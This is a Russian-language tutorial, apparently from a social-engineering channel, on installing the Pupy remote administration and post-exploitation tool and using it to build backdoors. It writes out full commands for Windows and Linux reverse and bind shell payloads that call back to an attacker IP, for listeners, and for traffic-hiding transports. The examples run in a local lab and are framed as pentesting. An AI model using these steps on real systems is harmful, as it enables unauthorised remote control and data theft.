Pupy - инструмент удалённого администрирования Windows, Linux, OSX, Android.
Social Engineering
Pupy — это инструмент с открытым исходным кодом для кроссплатформенного удалённого администрирования (в качестве «клиентов» поддерживаются Windows, Linux, OSX, Android) и последующей эксплуатации (post-exploitation). Написан в основном на Python.
Говоря проще, эта программа, которая может создавать бэкдоры для разных систем, выполнять действия для закрепления на удалённых системах, выполнять эксплойты для сбора данных, повышения привилегий скачивания и закачивания файлов, захвата экрана, захвата нажатий клавиш и т. д. При этом Pupy, как и другие аналогичные инструменты, также прекрасно подходит для легитимного удалённого администрирования систем.
Потенциальные сферы использования Pupy:
- Исследования безопасности
- Образование
- Тестирование на проникновение
- Системной администрирование
- Сфокусированные на приватности проекты на python, требующие минимального взаимодействия с постоянным хранилищем (чтобы не оставлять следов на жёстком диске)
- И другое…
Более подробную информацию о Pupy вы найдёте на справочной страницы программы: https://kali.tools/?p=4611
Это одна из нескольких статей о Pupy в которой пошагово рассказывается об установке. В следующих статьях будут рассмотрены принципы работы программы, основные понятия, практические примеры использования.

Как установить Pupy в Kali Linux.
Автор программы предлагает два варианта установки: непосредственно в систему и с использованием Docker.
У данной программы есть баг (о нём будет чуть ниже) из-за несовместимости с последней версией одного из модулей Python. Этот баг приводит к тому, что Pupy, фактически, не работает в режиме прослушивания (не может принимать подключения). При использовании Docker, ошибки не выводятся на экран и трудно понять, в чём проблема. Но намного хуже то, что непонятно, как в этом контейнере исправить проблему с библиотекой.
Поэтому далее я рассмотрю два варианта установки — прямо в систему и с помощью Docker, — но использовать рекомендую вариант установки непосредственно в систему.

Установка Pupy в Kali Linux без Docker.
Выполните следующие команды:
sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv git clone --recursive https://github.com/n1nj4sec/pupy cd pupy python create-workspace.py -DG pupyw
Накатите фикс для исправления ошибки:
sudo pip2 install rpyc==3.4.4
Для запуска:
export PATH=$PATH:~/.local/bin; pupysh pupyws/bin/pupysh


Установка Pupy в Kali Linux с использованием Docker.
Для установки и запуска в Docker выполните команды:
git clone https://github.com/alxchk/pupy cd pupy
Откройте файл install.sh и замените там строку:
if [ "$EUID" == 0 ]
на
if [ "$EUID" == 100500]
Затем выполните команды:
./install.sh sudo pip uninstall backports.ssl-match-hostname sudo apt-get install python-backports.ssl-match-hostname
Для запуска программы:
./start-compose.sh

Установка в BlackArch.
Установка в BlackArch выполняется следующим образом:
sudo pacman -S pupy
Для исправления бага нужно удалить новую версию одного из пакетов Python, при том так, чтобы система не удалила сам Pupy, для которого этот файл является обязательной зависимостью:
sudo pacman -Rdd python2-rpyc
И установить версию, не вызывающую проблем:
sudo pip2 install rpyc==3.4.4
Правда, сгенерированные в BlackArch файлы у меня отказываются подключаться к контролирующему компьютеру…

Создаем бэкдор.
Для генерации рабочей полезной нагрузки нам нужно ясное понимание о том, как и что работает, также перед началом работы вам нужно понимать такие термины как:
- transports
- launchers
- listeners
- payloads

Transport.
Transport (транспорт) — это то, каким образом (с использованием каких протоколов и технологий) сервер и клиент передают между собой информацию.
Доступны следующие варианты:
- ssl (используется по умолчанию): TCP транспорт обёрнутый в SSL.
- rsa: Аутентификация и шифрование с использованием RSA и AES256, часто сочетается с другими протоколами.
- ssl_rsa: Как и ssl, но вложен в rsa слой.
- websocket:
- aes: Использует статичный ключ AES256.
- http: Делает трафик похожим на обычный HTTP + вкладывается в слой rsa.
- obfs3: Протокол, который не позволяет третьей стороне определить на основании содержимого сообщений, какой протокол используется. Для большей безопасности Obfs3 вложен в слой rsa.
- scramblesuit: Полиморфный сетевой протокол для обхода цензуры. Scramblesuit сложен со слоем RSA для лучшей безопасности.
- udp: Rsa слой но через UDP (может быть нестабильным, не решает проблемы с потерявшимися при передаче пакетами).
- другие: Слои без особого интереса и приведены в качестве примеров кода: (dummy, base64, XOR, …).
Все транспорты способны быть обёртками друг к другу (stackable). Это означает, что, создавая пользовательскую конфигурацию транспорта (pupy/network/transport/<transport_name>/conf.py), вы можете сделать так, чтобы ваша сессия pupy выглядела как угодно. Например, вы можете сложить HTTP через HTTP через base64 через HTTP через AES через obfs3.

Launchers.
Launchers (лончеры) позволяют pupy запускать настраиваемые действия перед запуском обратного соединения.
- connect: Выполняется подключение от удалённого компьютера к атакующему.
- bind: Удалённый компьютер начинает прослушивать порт в ожидании подключения к нему
- auto_proxy: Получит список возможных SOCKS/HTTP прокси и попробует каждый из них. Методы извлечения прокси: реестр, запросы WPAD, настройки gnome, переменная env HTTP_PROXY
- dnscnc: DNS эксфильтрация
Лончер connect обычно называют Reverse Shell (Обратный шелл). А bind — это то, что обычно называют просто Shell. Подробности об их различиях и случаях применения здесь.

Listeners.
Listeners (прослушиватели) — используются с лончером connect, то есть при Reverse Shell (Обратном шелле), когда нужно ждать подключение от удалённого компьютера.
Если в качестве лончера выбран bind, то нам не нужен прослушиватель на нашем компьютере — нам достаточно сразу подключиться к удалённой системе.
Прослушиватели при запуске должны получить два параметра:
- порт, к которому будет сделано подоключение
- транспорт, который использует полезная нагрузка
По умолчанию лончер пытается прослушивать на порту 443 используя транспорт ssl. Эту конфигурацию можно изменить в файле pupy.conf. О том, как добавлять свои собственные прослушиватели, будет рассказано далее.

Формат полезной нагрузки.
Pupy умеет создавать файлы для различных операционных систем: Windows, Linux, OSX, Android. Поддерживаются различные архитектуры процессора (64- и 32-битные). При создании полезной нагрузки нужно указывать эти данные в параметрах. Это в первую очередь относится к исполнимым файлам — то есть для исполнимых файлов нужно указать, например, что бэкдор должен быть запущен в операционной системе Windows с архитектурой процессора 64-бита.
Pupy умеет создавать не только исполнимые файлы, но и другие форматы, а именно:
- client: исполнимые файлы для запуска на целевой машине (.exe, .dll, .lin, .so).
- py: файл python.
- pyinst: файл python готовый для использования с pyinstaller.
- py_oneliner: python oneliner (то есть исполнимый код в одну строку) (запускает в фоне прослушивающий сервер)
- ps1: файл powershell.
- ps1_oneliner: powershell oneliner (запускает в фоне прослушивающий сервер).
- rubber_ducky: полезен с rubber ducky.
Генерировать полезную нагрузку можно двумя способами: используя отдельный файл pupygen.py, либо запустив Pupy и в консоли используя команду
gen
Можно выбрать любой вариант — у этих способов идентичные опции запуска. Я буду показывать на примере работы в сессии Pupy, поэтому начинаю с запуска этой программы.

Запуск Pupy.
Запуск сессии Pupy различается в зависимости от метода установки. При установке прямо в систему, сессия запускается так:
export PATH=$PATH:~/.local/bin; pupysh
При первом запуске генерируются ключи и сертификаты, которые используются в программе для шифрования соединений с удалёнными системами:

Они сохраняются в файл /root/.config/pupy/crypto/credentials.py
Программа также говорит:
The usage of this software to access any system,service, or network without the owner's consent isexpressly forbidden. Please follow https://www.eccouncil.org/code-of-ethics/
Перевод: Использование данного программного обеспечения для доступа к любой системе, услуге или сети без согласия владельца категорически запрещено. Пожалуйста, следуйте кодексу этики: https://www.eccouncil.org/code-of-ethics/

Опции gen.
Как сказано выше, gen (и pupygen.py) используются для генерации полезной нагрузки и у них одинаковые опции. Рассмотрим их.
Использование:
gen [-h]
[-f{client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}]
[-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U]
[-P PACKER] [-S] [-o OUTPUT]
[-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR]
[-s SCRIPTLET] [-l] [-E] [--no-use-proxy]
[--oneliner-nothidden] [--debug-scriptlets] [--debug]
[--workdir WORKDIR]
[{bind,auto_proxy,dnscnc,connect}] ...
позиционные аргументы:
{bind,auto_proxy,dnscnc,connect}
Выбор лончера. Лончеры делают полезную нагрузку
которая при запуске ведёт себя по-разному.
launcher_args опции лончера
опциональные аргументы:
-h, --help
показать справку и выйти
-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}, --format {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}
(по умолчанию: client)
-O {android,windows,linux,solaris}, --os {android,windows,linux,solaris}
Целевая ОС (по умолчанию: windows)
-A {x86,x64}, --arch {x86,x64}
Целевая архитектура (по умолчанию: x86)
-U, --uncompressed Использовать шаблон без сжатия
-P PACKER, --packer PACKER
Использовать пакер, когда форматом вывода выбран 'client' (по умолчанию: )
-S, --shared Создать совместно используемый (shared) объект.
-o OUTPUT, --output OUTPUT
имя файла вывода.
-d <ATTEMPTS> <MIN SEC> <MAX SEC>, --delays-list <ATTEMPTS> <MIN SEC> <MAX SEC>
Формат: <максимальное кол-во попыток> <минимальная задержка (секуны)> <максимальная задержка (секуны)>
-D OUTPUT_DIR, --output-dir OUTPUT_DIR
папка вывода (по умолчанию: /root/.config/pupy/output)
-s SCRIPTLET, --scriptlet SCRIPTLET
офлайн python скриплеты для выполнения перед запуском соединения. Можно указать несколько скриплетов.
-l, --list вывести список доступных форматов, транспортёров, скриплетов и опций. В случае автоопределения предпочитать внешний IP
--no-use-proxy Не использовать конфигурацию прокси цели, даже если она используется целью (сейчас пока только для ps1_oneliner)
--oneliner-nothidden Скрипт Powershell не скрыт целевой стороной (по умолчанию: False)
--debug-scriptlets не перехватывать исключения в скриплетах на клиенте для целей отладки.
--debug собрать с шаблоном отладки (полезная нагрузка открывает консоль)
--workdir WORKDIR Установить рабочую папку (По умолчанию = текущая рабочая папка)
Как можно увидеть, некоторые значения установлены по умолчанию. Если запустить команду
gen
без каких-либо опций, то будет сгенерирована полезная нагрузка, она в качестве значений по умолчанию примет следующие значения:
- формат полезной нагрузки: client
- лончер: connect (то есть обратный шелл до нашей машины)
- в качестве IP адреса берётся автоматически определённый наш адрес
- порт для подключения: 443
- платформа: windows/x86
- транспорт: ssl
Но все эти опции мы, конечно же, можем перенастроить нашими параметрами.
Все опции рассмотрены выше, поэтому нет смысла детально объяснять команды — если вам в них что-то непонятно, тогда вернитесь к их описанию.
Начнём с создания обратного шелла — в этом случае удалённый компьютер («Жертва») подключается к компьютеру «Атакующего». Поэтому при создании полезной нагрузки нужно указать IP адрес, к которому должна подключаться Жертва. К примеру, IP адреса своих интерфейсов можно посмотреть командой
ip a
Я буду делать тесты в локальной сети, у компьютера Атакующего локальный адрес 192.168.1.112 — поэтому я буду использовать его, а вы замените его на ваше значение.
Для создания обратного шелла под 64-битную платформу Windows, который будет подключаться к порту 43210 на IP адресе 192.168.1.112 используя транспорт http:
gen -f client -O windows -A x64 connect --host 192.168.1.112:43210 -t http

Файл успешно создан и сохранён по пути /root/.config/pupy/output/pupyx64.KrN0Qe.exe
Переименую и скопирую его в более близкий путь:
!cp /root/.config/pupy/output/pupyx64.KrN0Qe.exe /root/reverse.exe
Поскольку с удалённого компьютера будет делаться подключение к нашему компьютеру, то перед запуском только что созданного файла на целевой системе нам нужно создать прослушиватель, который будет ожидать подключения к нему.
Кстати, при запуске Pupy один прослушиватель запускается автоматически, об этом говорить строка:
[*] Listen: ssl: 443
То есть заключается слушатель для транспорта ssl на порту 443.
Новые слушатели создаются, удаляются и показываются командой listen.

Создание слушателей listen.
Использование:
listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT [TRANSPORT_ARG1 ...] | -r TRANSPORT]
Опциональные аргументы:
-h, --help показать справку и выйти
-l, --list показать рекущие слушатели
-L, --list-transports
показать доступные транспорты
-a TRANSPORT [TRANSPORT_ARG1 ...], --add TRANSPORT [TRANSPORT_ARG1 ...]
запустить слушатель
-A TRANSPORT [TRANSPORT_ARG1 ...], --add-no-pproxy TRANSPORT [TRANSPORT_ARG1 ...]
запустить слушатель (игнорируя прокси)
-r TRANSPORT, --remove TRANSPORT
остановить слушатель
Поскольку для своей полезной нагрузки я выбрал транспорт http, а в качестве порта указал 43210, то слушатель в моём случае запускается так:
listen -a http 43210
Общий вид команды такой:
listen -a ТРАНСПОРТ ПОРТ
Строка
[+] Listen: http: 43210
Говорит о том, что всё прошло успешно.
Выведем список всех слушателей:
listen -l

Всё готово — теперь я переношу файл с полезной нагрузкой на целевую систему и запускаю его там.
Через несколько секунд после запуска будет выполнено подключение к компьютеру атакующего и появится примерно следующая информация:
[*] Session 1 opened (Alex@DESKTOP-IGFN39T) (('192.168.1.112', 43210) <- 192.168.1.101:49751)

К управлению сессиями, выполнению команд на удалённой машине и эксплуатации мы перейдём в следующей части. А пока рассмотрим ещё несколько популярных примеров генерации полезной нагрузки.

Создание бэкдора для Windows.
Чтобы создать шелл, который откроет порт 54321 для 64-битной ОС Windows и будет ждать подключение от удалённого компьютера по транспорту http выполните следующую команду:
gen -f client -O windows -A x64 bind --port 54321 -t http
В этом случае мы не указываем IP адрес, поскольку данная полезная нагрузка никуда не подключается. Но мы указываем порт — этот порт будет открыт на компьютере Жертвы в ожидании подключения Атакующего.

Подключение к бэкдору.
Для подключения используется команда connect. Рассмотрим её опции.
Использование:
connect [-h] -c <хост:порт>
[-t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}]
Опции connect
опциональные аргументы:
-h, --help показать справку и выйти
-c <host:port>, --host <хост:порт>
хост:порт сервера pupy к которому нужно подключиться. Вы можете
-t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}, --transport {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}
Как можно увидеть, обязательно нужно указать IP и порт подключения. Транспорт можно не указывать.
Кстати, в Windows IP адрес можно узнать командой
ipconfig /all
Для подключения к порту 54321 хоста 192.168.1.101:
connect -c 192.168.1.101:54321

Как сделать бэкдор для Linux.
Для Linux можно также создать обратный шелл и обычный шелл.
Для создания обратного шелла:
gen -f client -O linux -A x64 connect --host 192.168.1.112:44445 -t http
Прослушиватель запускается точно так же, как это было показано выше:
listen -a http 44445
Для создания бэкдора, который будет ждать подключения от нас:
gen -f client -O linux -A x64 bind --port 44446 -t http
Для подключения к нему:
connect -c localhost:44446
Итак, в этой части мы научились создавать полезную нагрузку и подключаться к бэкдору.

Social Engineering - Канал посвященный психологии, социальной инженерии, профайлингу, НЛП, Хакингу, Анонимности и безопасности в сети интернет, Даркнету и все что с ним связано. Добро пожаловать ;-)
S.E.Book - Литература социального инженера.
@Social_Engineering_bot - Бот обратной связи.
